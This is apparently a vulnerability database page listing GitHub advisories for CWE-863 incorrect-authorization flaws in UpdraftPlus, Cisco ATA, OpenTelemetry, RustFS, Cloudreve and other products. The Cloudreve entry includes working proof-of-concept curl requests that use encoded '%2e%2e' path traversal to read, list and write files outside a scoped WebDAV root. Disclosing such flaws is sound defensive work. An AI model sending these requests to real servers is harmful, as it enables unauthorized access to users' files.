CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
6796 vulnerabilities reference this CWE, most recent first.
GHSA-W56X-F43J-RGX4
Vulnerability from github – Published: 2022-02-18 00:00 – Updated: 2022-02-19 00:01The UpdraftPlus WordPress plugin Free before 1.22.3 and Premium before 2.22.3 do not properly validate a user has the required privileges to access a backup's nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site & database backup.
{
"affected": [],
"aliases": [
"CVE-2022-0633"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-17T19:15:00Z",
"severity": "MODERATE"
},
"details": "The UpdraftPlus WordPress plugin Free before 1.22.3 and Premium before 2.22.3 do not properly validate a user has the required privileges to access a backup\u0027s nonce identifier, which may allow any users with an account on the site (such as subscriber) to download the most recent site \u0026 database backup.",
"id": "GHSA-w56x-f43j-rgx4",
"modified": "2022-02-19T00:01:40Z",
"published": "2022-02-18T00:00:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0633"
},
{
"type": "WEB",
"url": "https://jetpack.com/2022/02/17/severe-vulnerability-fixed-in-updraftplus-1-22-3"
},
{
"type": "WEB",
"url": "https://updraftplus.com/updraftplus-security-release-1-22-3-2-22-3"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/d257c28f-3c7e-422b-a5c2-e618ed3c0bf3"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/166059/WordPress-UpdraftPlus-1.22.2-Backup-Disclosure.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W5CM-M7C3-4JJ4
Vulnerability from github – Published: 2024-10-16 18:31 – Updated: 2024-10-16 18:31A vulnerability in the web-based management interface of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an authenticated, remote attacker with low privileges to run commands as an Admin user.
This vulnerability is due to incorrect authorization verification by the HTTP server. An attacker could exploit this vulnerability by sending a malicious request to the web-based management interface. A successful exploit could allow the attacker to run commands as the Admin user.
{
"affected": [],
"aliases": [
"CVE-2024-20420"
],
"database_specific": {
"cwe_ids": [
"CWE-250",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-16T17:15:13Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an authenticated, remote attacker with low privileges to run commands as an Admin user. \n\nThis vulnerability is due to incorrect authorization verification by the HTTP server. An attacker could exploit this vulnerability by sending a malicious request to the web-based management interface. A successful exploit could allow the attacker to run commands as the Admin user.",
"id": "GHSA-w5cm-m7c3-4jj4",
"modified": "2024-10-16T18:31:46Z",
"published": "2024-10-16T18:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20420"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multi-RDTEqRsy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W5CV-PW74-4RXC
Vulnerability from github – Published: 2026-06-18 15:05 – Updated: 2026-06-18 15:05githubreceiver Silently Ignores Configured required_headers Authentication
Summary
The githubreceiver webhook handler does not enforce the required_headers configuration. Headers are validated at startup (config rejects empty keys/values) but never checked on incoming requests. This follows the same pattern as GHSA-prf6-xjxh-p698 (awsfirehosereceiver auth bypass). Verified against current main.
Details
In receiver/githubreceiver/config.go, the RequiredHeaders field is defined (line 45) and validated at startup (lines 93-101). But receiver/githubreceiver/trace_receiver.go in handleReq() (lines 131-185) never references RequiredHeaders.
The gitlabreceiver enforces the same config correctly at receiver/gitlabreceiver/traces_receiver.go:266-270:
for key, value := range gtr.cfg.WebHook.RequiredHeaders {
if r.Header.Get(key) != string(value) {
return "", fmt.Errorf("%w: %s", errInvalidHeader, key)
}
}
Amplifying factor
The Secret field defaults to empty and has no validation requiring it to be set. With an empty secret, github.ValidatePayload skips HMAC validation entirely. An operator who configures required_headers as their authentication mechanism (without setting secret) has zero authentication on the webhook endpoint.
Impact
An attacker can send arbitrary webhook payloads to the githubreceiver endpoint, bypassing the operator configured authentication. This allows injecting fake CI/CD trace data into the observability pipeline.
Suggested Fix
Add RequiredHeaders enforcement to handleReq(), matching the gitlabreceiver pattern.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.150.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/open-telemetry/opentelemetry-collector-contrib/receiver/githubreceiver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.151.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55701"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T15:05:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## githubreceiver Silently Ignores Configured required_headers Authentication\n\n### Summary\n\nThe githubreceiver webhook handler does not enforce the `required_headers` configuration. Headers are validated at startup (config rejects empty keys/values) but never checked on incoming requests. This follows the same pattern as [GHSA-prf6-xjxh-p698](https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-prf6-xjxh-p698) (awsfirehosereceiver auth bypass). Verified against current main.\n\n### Details\n\nIn `receiver/githubreceiver/config.go`, the `RequiredHeaders` field is defined (line 45) and validated at startup (lines 93-101). But `receiver/githubreceiver/trace_receiver.go` in `handleReq()` (lines 131-185) never references `RequiredHeaders`.\n\nThe gitlabreceiver enforces the same config correctly at `receiver/gitlabreceiver/traces_receiver.go:266-270`:\n\n for key, value := range gtr.cfg.WebHook.RequiredHeaders {\n if r.Header.Get(key) != string(value) {\n return \"\", fmt.Errorf(\"%w: %s\", errInvalidHeader, key)\n }\n }\n\n### Amplifying factor\n\nThe `Secret` field defaults to empty and has no validation requiring it to be set. With an empty secret, `github.ValidatePayload` skips HMAC validation entirely. An operator who configures `required_headers` as their authentication mechanism (without setting `secret`) has zero authentication on the webhook endpoint.\n\n### Impact\n\nAn attacker can send arbitrary webhook payloads to the githubreceiver endpoint, bypassing the operator configured authentication. This allows injecting fake CI/CD trace data into the observability pipeline.\n\n### Suggested Fix\n\nAdd RequiredHeaders enforcement to `handleReq()`, matching the gitlabreceiver pattern.",
"id": "GHSA-w5cv-pw74-4rxc",
"modified": "2026-06-18T15:05:14Z",
"published": "2026-06-18T15:05:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-w5cv-pw74-4rxc"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-collector-contrib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "opentelemetry-collector-contrib: githubreceiver silently ignores configured required_headers authentication"
}
GHSA-W5F9-2P82-V83J
Vulnerability from github – Published: 2024-10-15 21:30 – Updated: 2024-10-15 21:30Vulnerability in the Oracle Advanced Pricing product of Oracle E-Business Suite (component: Price List). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Advanced Pricing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Advanced Pricing accessible data as well as unauthorized access to critical data or complete access to all Oracle Advanced Pricing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
{
"affected": [],
"aliases": [
"CVE-2024-21266"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-15T20:15:17Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Advanced Pricing product of Oracle E-Business Suite (component: Price List). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Advanced Pricing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Advanced Pricing accessible data as well as unauthorized access to critical data or complete access to all Oracle Advanced Pricing accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).",
"id": "GHSA-w5f9-2p82-v83j",
"modified": "2024-10-15T21:30:39Z",
"published": "2024-10-15T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21266"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2024.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W5FH-F8XH-5X3P
Vulnerability from github – Published: 2026-02-25 22:38 – Updated: 2026-02-25 22:38Summary
RustFS does not validate policy conditions in presigned POST uploads (PostObject), allowing attackers to bypass content-length-range, starts-with, and Content-Type constraints. This enables unauthorized file uploads exceeding size limits, uploads to arbitrary object keys, and content-type spoofing, potentially leading to storage exhaustion, unauthorized data access, and security bypasses.
Details
When generating presigned POST URLs via the AWS SDK, applications can specify policy conditions to restrict uploads. RustFS accepts these presigned requests but fails to validate the following conditions server-side:
content-length-rangenot enforced: The server does not verify that the uploaded file size falls within the specified minimum and maximum bounds. An attacker can upload arbitrarily large files despite restrictions.starts-withnot enforced: The server does not validate that the object key matches the required prefix. An attacker can modify the key field to upload files to any path in the bucket.Content-Type(exact match) not enforced: The server does not verify that the uploaded file's content type matches the policy constraint. An attacker can upload files with any content type.
The vulnerability exists in the PostObject endpoint implementation, where the signed policy conditions are not parsed and validated against the actual upload request.
Impact
Vulnerability Type: Improper Input Validation / Authorization Bypass
Who is affected:
Any application using RustFS as an S3-compatible backend that relies on presigned POST policy conditions for access control or upload restrictions.
Potential attack scenarios:
- Storage Exhaustion / Denial of Service: Attackers can upload arbitrarily large files, bypassing size limits, potentially filling up disk space and causing service outages.
- Unauthorized Data Access/Modification: By bypassing starts-with conditions, attackers can upload files to restricted paths (e.g., overwriting configuration files, accessing other users' directories in multi-tenant systems).
- Content-Type Spoofing: Bypassing content-type restrictions could enable serving malicious content (e.g., HTML/JavaScript files in contexts expecting only images), potentially leading to XSS attacks if files are served to browsers.
Severity: The vulnerability allows complete bypass of server-enforced upload policies, undermining the security model that applications rely upon.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.0.0-alpha.82"
},
"package": {
"ecosystem": "crates.io",
"name": "rustfs"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-alpha.56"
},
{
"fixed": "1.0.0-alpha.83"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27607"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T22:38:40Z",
"nvd_published_at": "2026-02-25T03:16:04Z",
"severity": "HIGH"
},
"details": "### Summary\nRustFS does not validate policy conditions in presigned POST uploads (PostObject), allowing attackers to bypass content-length-range, starts-with, and Content-Type constraints. This enables unauthorized file uploads exceeding size limits, uploads to arbitrary object keys, and content-type spoofing, potentially leading to storage exhaustion, unauthorized data access, and security bypasses.\n\n### Details\nWhen generating presigned POST URLs via the AWS SDK, applications can specify policy conditions to restrict uploads. RustFS accepts these presigned requests but fails to validate the following conditions server-side:\n\n1. `content-length-range` not enforced: The server does not verify that the uploaded file size falls within the specified minimum and maximum bounds. An attacker can upload arbitrarily large files despite restrictions.\n2. `starts-with` not enforced: The server does not validate that the object key matches the required prefix. An attacker can modify the key field to upload files to any path in the bucket.\n3. `Content-Type` (exact match) not enforced: The server does not verify that the uploaded file\u0027s content type matches the policy constraint. An attacker can upload files with any content type.\n\nThe vulnerability exists in the PostObject endpoint implementation, where the signed policy conditions are not parsed and validated against the actual upload request.\n\n### Impact\nVulnerability Type: Improper Input Validation / Authorization Bypass\n##### Who is affected:\nAny application using RustFS as an S3-compatible backend that relies on presigned POST policy conditions for access control or upload restrictions.\n##### Potential attack scenarios:\n1. Storage Exhaustion / Denial of Service: Attackers can upload arbitrarily large files, bypassing size limits, potentially filling up disk space and causing service outages.\n2. Unauthorized Data Access/Modification: By bypassing starts-with conditions, attackers can upload files to restricted paths (e.g., overwriting configuration files, accessing other users\u0027 directories in multi-tenant systems).\n3. Content-Type Spoofing: Bypassing content-type restrictions could enable serving malicious content (e.g., HTML/JavaScript files in contexts expecting only images), potentially leading to XSS attacks if files are served to browsers.\n\n**Severity**: The vulnerability allows complete bypass of server-enforced upload policies, undermining the security model that applications rely upon.",
"id": "GHSA-w5fh-f8xh-5x3p",
"modified": "2026-02-25T22:38:40Z",
"published": "2026-02-25T22:38:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-w5fh-f8xh-5x3p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27607"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustfs/rustfs"
},
{
"type": "WEB",
"url": "https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.83"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "RustFS: Missing Post Policy Validation leads to Arbitrary Object Write"
}
GHSA-W5FM-H2VX-GP8Q
Vulnerability from github – Published: 2022-02-11 00:00 – Updated: 2022-07-13 00:01There is an unauthorized rewriting vulnerability with the memory access management module on ACPU.Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2021-39991"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-09T23:15:00Z",
"severity": "MODERATE"
},
"details": "There is an unauthorized rewriting vulnerability with the memory access management module on ACPU.Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-w5fm-h2vx-gp8q",
"modified": "2022-07-13T00:01:39Z",
"published": "2022-02-11T00:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39991"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2022/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W5FV-7X5Q-G8QP
Vulnerability from github – Published: 2026-08-26 15:22 – Updated: 2026-08-26 15:22Summary
A Cloudreve WebDAV account stores a uri that defines the account's root folder. The WebDAV request handler (stripPrefix in pkg/webdav/webdav.go) trims the /dav prefix from the request path and joins the remainder to that root with fs.URI.JoinRaw, but never checks that the joined URI stays inside the root.
Go's net/http decodes %2e%2e to .. and %2f to / in r.URL.Path before the handler sees it, and JoinRaw resolves .. segments through the standard library's url.URL.JoinPath. A request such as GET /dav/%2e%2e/outside.txt against a credential rooted at cloudreve://my/restricted therefore resolves to cloudreve://my/outside.txt. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.
The escape stays inside the same Cloudreve user's namespace because downstream DBFS owner checks still apply. It does not cross into another user's files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary — the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).
Technical Detail
Root cause
stripPrefix joins the request suffix onto the account base with no containment check:
// pkg/webdav/webdav.go @ 54dc81d
func stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {
base, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)
if err != nil {
return "", nil, http.StatusInternalServerError, err
}
prefix := davPrefix // "/dav"
if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
r = strings.TrimPrefix(r, fs.Separator)
return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // <-- join, no boundary check
}
return "", nil, http.StatusNotFound, errPrefixMismatch
}
JoinRaw splits on / and delegates to the standard library:
// pkg/filemanager/fs/uri.go @ 54dc81d
func (u *URI) JoinRaw(elem string) *URI {
return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)
}
func (u *URI) Join(elem ...string) *URI {
newUrl, _ := url.Parse(u.U.String())
return &URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {
return PathEscape(s)
})...)}
}
PathEscape leaves a . untouched (shouldEscape returns false for .), so the literal segment .. survives into url.URL.JoinPath, which cleans the path and resolves the parent reference.
Proof of Concept
The full server was not run from the checkout (the embedded frontend asset assets.zip is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.
Layer 1 — net/http hands the handler a decoded, uncleaned path
A standard-library HTTP server, hit over a real socket with raw request targets (equivalent to curl --path-as-is), shows what c.Request.URL.Path holds inside the handler:
REQUEST: GET /dav/%2e%2e/outside.txt
handler observed: URL.Path="/dav/../outside.txt" RawPath="/dav/%2e%2e/outside.txt" -> 200
REQUEST: PROPFIND /dav/%2e%2e/
handler observed: URL.Path="/dav/../" RawPath="/dav/%2e%2e/" -> 200
REQUEST: PUT /dav/%2e%2e/created-outside.txt
handler observed: URL.Path="/dav/../created-outside.txt" -> 200
REQUEST: GET /dav/%2F..%2Foutside.txt
handler observed: URL.Path="/dav//../outside.txt" RawPath="/dav/%2F..%2Foutside.txt" -> 200
The path is decoded but never cleaned. Gin does not rewrite Request.URL.Path, so the Cloudreve handler observes the same value.
Layer 2 — Cloudreve's URI resolution escapes the root
Re-running Cloudreve's exact PathEscape / shouldEscape / Join / JoinRaw / NewUriFromString code (copied verbatim from uri.go @ 54dc81d) against the real net/url library, with base cloudreve://my/restricted:
traversal %2e%2e URL.Path=/dav/../outside.txt suffix="../outside.txt" => cloudreve://my/outside.txt
traversal %2F..%2F URL.Path=/dav//../outside.txt suffix="/../outside.txt" => cloudreve://my/outside.txt
benign nested URL.Path=/dav/sub/normal.txt suffix="sub/normal.txt" => cloudreve://my/restricted/sub/normal.txt
double-encoded (ctrl) URL.Path=/dav/%2e%2e/outside.txt suffix="%2e%2e/outside.txt" => cloudreve://my/restricted/%252e%252e/outside.txt
deep traversal URL.Path=/dav/../../etc.txt suffix="../../etc.txt" => cloudreve://my/etc.txt
The traversal variants land outside restricted; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the my root (host stays my, confirming the same-owner ceiling).
Live request shapes (against a deployed instance)
# Read outside the DAV root (works for read-only credentials too)
curl --path-as-is -i -u 'victim@example.com:DAV_PASSWORD' \
'https://cloudreve.example/dav/%2e%2e/outside.txt'
# List outside the DAV root
curl --path-as-is -i -X PROPFIND -H 'Depth: 1' \
-u 'victim@example.com:DAV_PASSWORD' \
'https://cloudreve.example/dav/%2e%2e/'
# Write outside the DAV root (writable credentials)
printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \
-u 'victim@example.com:DAV_PASSWORD' --data-binary @- \
'https://cloudreve.example/dav/%2e%2e/created-outside.txt'
Impact
- Read-only scoped credential: read and list any file in the owner's namespace, outside the folder the credential was scoped to.
- Writable scoped credential: additionally create, overwrite, move, and delete those files.
In normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner's whole my filesystem.
Suggested Fix
fs.URI already ships the predicate needed (EqualOrIsDescendantOf), so the fix is small:
prefix := davPrefix
if r := strings.TrimPrefix(p, prefix); len(r) < len(p) {
r = strings.TrimPrefix(r, fs.Separator)
- return r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil
+ candidate := base.JoinRaw(util.RemoveSlash(r))
+ if !candidate.EqualOrIsDescendantOf(base, "") {
+ return "", nil, http.StatusForbidden, errPrefixMismatch
+ }
+ return r, candidate, http.StatusOK, nil
}
return "", nil, http.StatusNotFound, errPrefixMismatch
Regression tests worth adding:
/dav/%2e%2e/outside.txtfrom basecloudreve://my/restricted→ rejected/dav/%2F..%2Foutside.txtfrom basecloudreve://my/restricted→ rejectedCOPY/MOVEwithDestination: https://host/dav/%2e%2e/outside.txt→ rejected/dav/sub/normal.txt→ still resolves under the account root
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0-20260606032813-26b6b1044b02"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudreve/Cloudreve/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.0-20250225100611-da4e44b77af4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54563"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:22:12Z",
"nvd_published_at": "2026-07-15T15:16:45Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Cloudreve WebDAV account stores a `uri` that defines the account\u0027s root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root.\n\nGo\u0027s `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Path` before the handler sees it, and `JoinRaw` resolves `..` segments through the standard library\u0027s `url.URL.JoinPath`. A request such as `GET /dav/%2e%2e/outside.txt` against a credential rooted at `cloudreve://my/restricted` therefore resolves to `cloudreve://my/outside.txt`. A scoped DAV credential can read and list files outside its configured folder; a writable scoped credential can also create, overwrite, move, and delete them.\n\nThe escape stays inside the same Cloudreve user\u0027s namespace because downstream DBFS owner checks still apply. It does not cross into another user\u0027s files or onto the OS filesystem. What it breaks is the per-folder WebDAV-account boundary \u2014 the entire reason scoped DAV accounts exist (delegating limited access to a sync client or a third party).\n\n## Technical Detail\n\n### Root cause\n\n`stripPrefix` joins the request suffix onto the account base with no containment check:\n\n```go\n// pkg/webdav/webdav.go @ 54dc81d\nfunc stripPrefix(p string, u *ent.User) (string, *fs.URI, int, error) {\n\tbase, err := fs.NewUriFromString(u.Edges.DavAccounts[0].URI)\n\tif err != nil {\n\t\treturn \"\", nil, http.StatusInternalServerError, err\n\t}\n\n\tprefix := davPrefix // \"/dav\"\n\tif r := strings.TrimPrefix(p, prefix); len(r) \u003c len(p) {\n\t\tr = strings.TrimPrefix(r, fs.Separator)\n\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil // \u003c-- join, no boundary check\n\t}\n\treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n}\n```\n\n`JoinRaw` splits on `/` and delegates to the standard library:\n\n```go\n// pkg/filemanager/fs/uri.go @ 54dc81d\nfunc (u *URI) JoinRaw(elem string) *URI {\n\treturn u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...)\n}\n\nfunc (u *URI) Join(elem ...string) *URI {\n\tnewUrl, _ := url.Parse(u.U.String())\n\treturn \u0026URI{U: newUrl.JoinPath(lo.Map(elem, func(s string, i int) string {\n\t\treturn PathEscape(s)\n\t})...)}\n}\n```\n\n`PathEscape` leaves a `.` untouched (`shouldEscape` returns `false` for `.`), so the literal segment `..` survives into `url.URL.JoinPath`, which cleans the path and resolves the parent reference.\n\n\n## Proof of Concept\n\nThe full server was not run from the checkout (the embedded frontend asset `assets.zip` is absent from source), so the chain was proven by exercising the two decisive layers with real code rather than a screenshot of a live instance.\n\n### Layer 1 \u2014 `net/http` hands the handler a decoded, *uncleaned* path\n\nA standard-library HTTP server, hit over a real socket with raw request targets (equivalent to `curl --path-as-is`), shows what `c.Request.URL.Path` holds inside the handler:\n\n```\nREQUEST: GET /dav/%2e%2e/outside.txt\n handler observed: URL.Path=\"/dav/../outside.txt\" RawPath=\"/dav/%2e%2e/outside.txt\" -\u003e 200\nREQUEST: PROPFIND /dav/%2e%2e/\n handler observed: URL.Path=\"/dav/../\" RawPath=\"/dav/%2e%2e/\" -\u003e 200\nREQUEST: PUT /dav/%2e%2e/created-outside.txt\n handler observed: URL.Path=\"/dav/../created-outside.txt\" -\u003e 200\nREQUEST: GET /dav/%2F..%2Foutside.txt\n handler observed: URL.Path=\"/dav//../outside.txt\" RawPath=\"/dav/%2F..%2Foutside.txt\" -\u003e 200\n```\n\nThe path is decoded but never cleaned. Gin does not rewrite `Request.URL.Path`, so the Cloudreve handler observes the same value.\n\n### Layer 2 \u2014 Cloudreve\u0027s URI resolution escapes the root\n\nRe-running Cloudreve\u0027s exact `PathEscape` / `shouldEscape` / `Join` / `JoinRaw` / `NewUriFromString` code (copied verbatim from `uri.go @ 54dc81d`) against the real `net/url` library, with base `cloudreve://my/restricted`:\n\n```\ntraversal %2e%2e URL.Path=/dav/../outside.txt suffix=\"../outside.txt\" =\u003e cloudreve://my/outside.txt\ntraversal %2F..%2F URL.Path=/dav//../outside.txt suffix=\"/../outside.txt\" =\u003e cloudreve://my/outside.txt\nbenign nested URL.Path=/dav/sub/normal.txt suffix=\"sub/normal.txt\" =\u003e cloudreve://my/restricted/sub/normal.txt\ndouble-encoded (ctrl) URL.Path=/dav/%2e%2e/outside.txt suffix=\"%2e%2e/outside.txt\" =\u003e cloudreve://my/restricted/%252e%252e/outside.txt\ndeep traversal URL.Path=/dav/../../etc.txt suffix=\"../../etc.txt\" =\u003e cloudreve://my/etc.txt\n```\n\nThe traversal variants land outside `restricted`; the benign path stays inside; the double-encoded negative control stays literal under the root; and deep traversal clamps at the `my` root (host stays `my`, confirming the same-owner ceiling).\n\n### Live request shapes (against a deployed instance)\n\n```bash\n# Read outside the DAV root (works for read-only credentials too)\ncurl --path-as-is -i -u \u0027victim@example.com:DAV_PASSWORD\u0027 \\\n \u0027https://cloudreve.example/dav/%2e%2e/outside.txt\u0027\n\n# List outside the DAV root\ncurl --path-as-is -i -X PROPFIND -H \u0027Depth: 1\u0027 \\\n -u \u0027victim@example.com:DAV_PASSWORD\u0027 \\\n \u0027https://cloudreve.example/dav/%2e%2e/\u0027\n\n# Write outside the DAV root (writable credentials)\nprintf \u0027created outside DAV root\\n\u0027 | curl --path-as-is -i -X PUT \\\n -u \u0027victim@example.com:DAV_PASSWORD\u0027 --data-binary @- \\\n \u0027https://cloudreve.example/dav/%2e%2e/created-outside.txt\u0027\n```\n\n## Impact\n\n- **Read-only scoped credential**: read and list any file in the owner\u0027s namespace, outside the folder the credential was scoped to.\n- **Writable scoped credential**: additionally create, overwrite, move, and delete those files.\n\nIn normal use a scoped DAV account is the mechanism for handing limited access to a sync client or an outside party. This bug means that limit is not enforced: the credential reaches the owner\u0027s whole `my` filesystem.\n\n## Suggested Fix\n\n`fs.URI` already ships the predicate needed (`EqualOrIsDescendantOf`), so the fix is small:\n\n```diff\n \tprefix := davPrefix\n \tif r := strings.TrimPrefix(p, prefix); len(r) \u003c len(p) {\n \t\tr = strings.TrimPrefix(r, fs.Separator)\n-\t\treturn r, base.JoinRaw(util.RemoveSlash(r)), http.StatusOK, nil\n+\t\tcandidate := base.JoinRaw(util.RemoveSlash(r))\n+\t\tif !candidate.EqualOrIsDescendantOf(base, \"\") {\n+\t\t\treturn \"\", nil, http.StatusForbidden, errPrefixMismatch\n+\t\t}\n+\t\treturn r, candidate, http.StatusOK, nil\n \t}\n \treturn \"\", nil, http.StatusNotFound, errPrefixMismatch\n```\n\nRegression tests worth adding:\n\n- `/dav/%2e%2e/outside.txt` from base `cloudreve://my/restricted` \u2192 rejected\n- `/dav/%2F..%2Foutside.txt` from base `cloudreve://my/restricted` \u2192 rejected\n- `COPY`/`MOVE` with `Destination: https://host/dav/%2e%2e/outside.txt` \u2192 rejected\n- `/dav/sub/normal.txt` \u2192 still resolves under the account root",
"id": "GHSA-w5fv-7x5q-g8qp",
"modified": "2026-08-26T15:22:12Z",
"published": "2026-08-26T15:22:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w5fv-7x5q-g8qp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54563"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudreve/cloudreve"
},
{
"type": "WEB",
"url": "https://github.com/cloudreve/cloudreve/releases/tag/4.16.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cloudreve WebDAV (`/dav`) has Path Traversal / Broken Access Control \u2014 scoped DAV credential escapes its configured account root"
}
GHSA-W5J6-7WPF-G6RW
